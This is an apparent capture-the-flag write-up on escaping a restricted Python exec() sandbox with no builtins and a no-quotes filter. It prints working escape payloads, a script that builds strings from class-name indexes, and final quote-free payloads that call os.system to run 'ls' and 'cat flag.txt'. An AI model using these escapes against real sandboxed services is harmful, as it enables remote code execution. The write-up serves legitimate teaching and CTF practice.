Let me start by saying that this was my favorite challenge from the event. The goal was pretty clear, I needed to find a creative solution to bypass a filter. My final solution might be a bit overcomplicated, but at least it has relatively simple logic behind it.
The goal
When we first connect to the challenge we find that we are in a python 3.8.9 console. When we input something that isn't valid python code, we get an error:
>>> $
Traceback (most recent call last):
File "/app/build_yourself_in.py", line 16, in <module>
main()
File "/app/build_yourself_in.py", line 13, in main
exec(text, {'__builtins__': None, 'print':print})
File "<string>", line 1
$
^
SyntaxError: invalid syntax
This shows a small part of the code in the Traceback that is actually running. the exec(text, ...)
shows that we are inputting text that is being executed within this line of code. The option '__builtins__': None
means that we can't use any builtin python functions like int()
or __import__()
. This makes it quite hard to do much in the console, but we'll get to that later. Secondly 'print':print
says that it redefines only the print()
function so that is the only built-in function we can use.
Eventually, we want to execute system commands, to achieve RCE and get the flag. After searching online for a bit I found a possible way to escape the 'prison' by traversing the objects in python that we still have. Using:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')
...we can use the fact that we can still use ()
to first go all the way to the top, and then look at all the subclasses. Then we can use the catch_warnings
class to get to our import function, and finally, import os
to execute any system commands.
The filter
When we test this payload in the challenge we get a message saying 'No quotes are allowed!'. Since we have a lot of quotes in our payload this is of course not going to work.
I first thought of using a function like chr(65)
to create characters and concatenate them with +
to create any string we want. But when I tried this I quickly concluded that this will be a bit harder, since we still cannot use any built-in python functions. We will have to find a way to bypass this filter, by using a similar technique to our final payload, by traversing the object tree in python.
Bypassing the filter
After fiddling around with the subclasses and attributes they have, I finally found a promising way to create strings. When you use .__name__
on a class, you get the string value of the class name. We already have lots of classes with our ().__class__.__base__.__subclasses__()
payload, but now we need to get some specific ones to get the name from. Then we can get a specific index of the string to get the letter we want.
Now we will first get all the subclasses, using print(().__class__.__base__.__subclasses__())
. This will print a big list of all classes we can use. I copied the list to a file so I could write my own python script to create a payload for me with any string.
I manually looked up where I could find what letters. The 's' for example is in the bytes
class, which is at index [6]
from our subclasses. Then we get the letter 's' by getting the [4]
index of our string.
I did this for a few letters I needed and eventually got this python script:
command = "ls" # list files
letters = {
# letter: (class_index, string_index)
"a": (1, 2),
"c": (2, 4),
"d": (13, 0),
"e": (0, 3),
"f": (26, 0),
"g": (12, 3),
"h": (24, 9),
"i": (4, 0),
"l": (7, 0),
"n": (4, 1),
"m": (9, 4),
"r": (1, 4),
"s": (6, 4),
"t": (0, 0),
"w": (1, 0),
"x": (3, 7),
"y": (0, 1),
"_": (14, 4),
}
for c in command:
i = letters[c]
print(f"().__class__.__base__.__subclasses__()[{i[0]}].__name__[{i[1]}]+", end='')
Which will print the full payload that will create the string command
we provide at the top.
After more experimenting with the catch_warnings
, I concluded that it is not even in the subclasses that the challenge has, meaning our payload would not work even if we bypass the filter. So we need a new payload to do the trick. Luckily there is also os._wrap_close
which has a reference to __init__.__globals__['system']
that we can use to execute our commands. This is at the index [132]
of our subclasses list meaning our new goal payload will be:
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('ls')
This payload also only uses two strings, meaning our final payload will get simpler.
First we will need to get the 'system' string, this is pretty easy now with the script we made, so we just put 'system'
in the variable s
and see the code it created:
().__class__.__base__.__subclasses__()[6].__name__[4]+
().__class__.__base__.__subclasses__()[0].__name__[1]+
().__class__.__base__.__subclasses__()[6].__name__[4]+
().__class__.__base__.__subclasses__()[0].__name__[0]+
().__class__.__base__.__subclasses__()[0].__name__[3]+
().__class__.__base__.__subclasses__()[9].__name__[4]
This will create our string target 'system' without using any quotes, so we can just replace it in our payload. Now we need the 'ls'
string, this is also very simple with our script. We put it in and get the following code:
().__class__.__base__.__subclasses__()[7].__name__[0]+
().__class__.__base__.__subclasses__()[6].__name__[4]
When we now also replace this in our payload we get our goal of system('ls')
like this:
print(().__class__.__base__.__subclasses__()[132].__init__.__globals__[().__class__.__base__.__subclasses__()[6].__name__[4]+().__class__.__base__.__subclasses__()[0].__name__[1]+().__class__.__base__.__subclasses__()[6].__name__[4]+().__class__.__base__.__subclasses__()[0].__name__[0]+().__class__.__base__.__subclasses__()[0].__name__[3]+().__class__.__base__.__subclasses__()[9].__name__[4]](().__class__.__base__.__subclasses__()[7].__name__[0]+().__class__.__base__.__subclasses__()[6].__name__[4]))
Executing this in the challenge gives us the result of the ls
command, and we see a flag.txt
file that we need to read. Now we need a new payload that executes the system('cat flag.txt')
command.
The last step
This isn't as easy as just executing the ls
command though, since for cat flag.txt
we also need a space and a dot character. It isn't entirely obvious where we would get these from since the __name__
trick from earlier only gives us letters and underscores. So we'll need to get a little more creative.
Lets first focus on the dot. You might think that we can still use the __name__
trick since some class names have dots in them. However, this dot is just a seperator of the class and the parent. When we actually get its name as a string it only gives us the last class name, without the dot. For example:
>>> ().__class__.__base__.__subclasses__()[47]
<class 'types.SimpleNamespace'>
>>> ().__class__.__base__.__subclasses__()[47].__name__
'SimpleNamespace'
However, it's not that hard to still get the dot. Since we see the dot in the representation of the full class, we can get that representation by again traversing the object tree of this class. When viewing __dict__
we can see a lot of values, including some that contain dots. Now we can simply call __repr__()
on that dictionary to get the string equivalent that we can index again. At index [60]
there is the dot in the class name, so finally using
().__class__.__base__.__subclasses__()[47].__dict__.__repr__()[60]
We can get our dot character.
Now for the space. At first, this looks like it is going to be even harder than the dot since class names don't have spaces in them. But I thought of a pretty simple way to get the dot in python, by creating an array!
Python automatically formats arrays to have spaces after the comma, so we can create an array like [1,2]
and get the __repr__()
of that to easily get a string with a space in it. Now just get index [3]
of it and we have ourselves a simple space character.
With now finally all the characters we can modify our code a little to include these special characters. Here is the new replacement code:
for c in s:
if c == ' ': # Edge case for space
print("[1,2].__repr__()[3]+", end='')
elif c == '.': # Edge case for dot
print("().__class__.__base__.__subclasses__()[47].__dict__.__repr__()[60]+", end='')
else:
i = letters[c]
print(f"().__class__.__base__.__subclasses__()[{i[0]}].__name__[{i[1]}]+", end='')
When running this with the cat flag.txt
string we get a long list of functions representing this string. Finally putting this in our system()
command from earlier we get this final payload:
print(().__class__.__base__.__subclasses__()[132].__init__.__globals__[().__class__.__base__.__subclasses__()[6].__name__[4]+().__class__.__base__.__subclasses__()[0].__name__[1]+().__class__.__base__.__subclasses__()[6].__name__[4]+().__class__.__base__.__subclasses__()[0].__name__[0]+().__class__.__base__.__subclasses__()[0].__name__[3]+().__class__.__base__.__subclasses__()[9].__name__[4]](().__class__.__base__.__subclasses__()[2].__name__[4]+().__class__.__base__.__subclasses__()[1].__name__[2]+().__class__.__base__.__subclasses__()[0].__name__[0]+[1,2].__repr__()[3]+().__class__.__base__.__subclasses__()[26].__name__[0]+().__class__.__base__.__subclasses__()[7].__name__[0]+().__class__.__base__.__subclasses__()[1].__name__[2]+().__class__.__base__.__subclasses__()[12].__name__[3]+().__class__.__base__.__subclasses__()[47].__dict__.__repr__()[60]+().__class__.__base__.__subclasses__()[0].__name__[0]+().__class__.__base__.__subclasses__()[3].__name__[7]+().__class__.__base__.__subclasses__()[0].__name__[0]))
Which gets us the flag printed in the console!